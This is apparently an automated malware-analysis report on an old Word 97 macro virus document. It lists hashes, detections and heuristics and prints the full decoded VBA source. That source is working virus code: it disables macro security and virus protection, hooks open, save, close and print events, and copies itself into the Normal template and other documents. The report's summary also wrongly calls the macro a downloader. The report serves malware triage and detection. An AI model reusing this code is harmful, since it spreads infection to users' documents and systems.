Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9984dfbb25facfa0…

MALICIOUS

Office (OLE)

41.5 KB Created: 2000-08-23 23:44:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c6dc7fc652b8f30654353d8848ac9ddf SHA-1: 2a165e5da6b92ffe3bb09dbad231d2c707433bbd SHA-256: 9984dfbb25facfa0c4ac1a427046a51e60e2a5655be128291a12b05ffe69b59a
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic and VBA macros, including AutoOpen and AutoClose, which are commonly used for malicious purposes. The ClamAV detection names 'Win.Trojan.Psycho-3' and 'Win.Trojan.wmvg-1' strongly indicate a trojan. The VBA script attempts to export itself as 'MSWord.sys' to the startup path, suggesting it's a downloader for a second-stage payload. The presence of these macros and the export behavior point to a malicious document used for initial compromise via spearphishing.

Heuristics 5

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3593 bytes
SHA-256: 79757da633671ac8e1d45f5e78a5958fbe624eec6c9340c74c4fca86ef701e29
Detection
ClamAV: Win.Trojan.wmvg-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "MSWord"
Public Myself, NormInstall, ActivInstall As Boolean
Private FinalClose As Boolean
Private HoldDoc As String

Sub W97()
On Error Resume Next
Myself = True
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Application.ScreenUpdating = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
HoldDoc = ActiveDocument.FullName
CommandBars("Tools").Controls("Templates and Add-Ins...").Delete
CommandBars("Format").Controls("Style...").Delete
If (GetAttr(NormalTemplate.FullName) <> vbNormal) Then SetAttr (NormalTemplate.FullName), vbNormal
' Get up, get up Bulgarian supermen!!
Application.VBE.ActiveVBProject.VBComponents("MSWord").Export Application.StartupPath + "\MSWord.sys"
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
'666
If NormalTemplate.VBProject.VBComponents(i).Name = "MSWord" Then NormInstall = True
Next i
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "MSWord" Then ActivInstall = True
Next i
If NormInstall = False Then NormalTemplate.VBProject.VBComponents.Import Application.StartupPath + "\MSWord.sys"
If ActivInstall = False Then ActiveDocument.VBProject.VBComponents.Import Application.StartupPath + "\MSWord.sys"
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
'W2000.Mooshka Jerry (c) 1999 by Bobin Soosslik
If (GetAttr(Application.StartupPath + "\MSWord.dot") <> vbNormal) Then SetAttr (Application.StartupPath + "\MSWord.sys"), vbNormal
ActiveDocument.SaveAs FileName:=Application.StartupPath + "\MSWord.dot", _
FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
If FinalClose = False Then Documents.Open FileName:=HoldDoc
Documents(Application.StartupPath + "\MSWord.dot").Close
SetAttr (Application.StartupPath + "\MSWord.dot"), vbReadOnly
Application.ScreenUpdating = True
Myself = False
End Sub

Sub AutoOpen()
On Error Resume Next
If Myself = False Then Call W97
End Sub

Sub AutoClose()
On Error Resume Next
FinalClose = True
Call W97
End Sub

Sub AutoExit()
On Error Resume Next
Call W97
End Sub

Sub FileSaveAs()
On Error Resume Next
Call W97
Dialogs(wdDialogFileSaveAs).Show
End Sub

Sub filesave()
On Error Resume Next
Call W97
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub

Sub fileclose()
On Error Resume Next
Call W97
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
ActiveDocument.Close
End Sub

Sub fileprint()
On Error Resume Next
Call W97
Dialogs(wdDialogFilePrint).Show
End Sub

Sub ViewVBCode()
On Error Resume Next
Call W97
End Sub

Sub ToolsMacro()
On Error Resume Next
Call W97
End Sub

Sub FileTemplates()
On Error Resume Next
Call W97
End Sub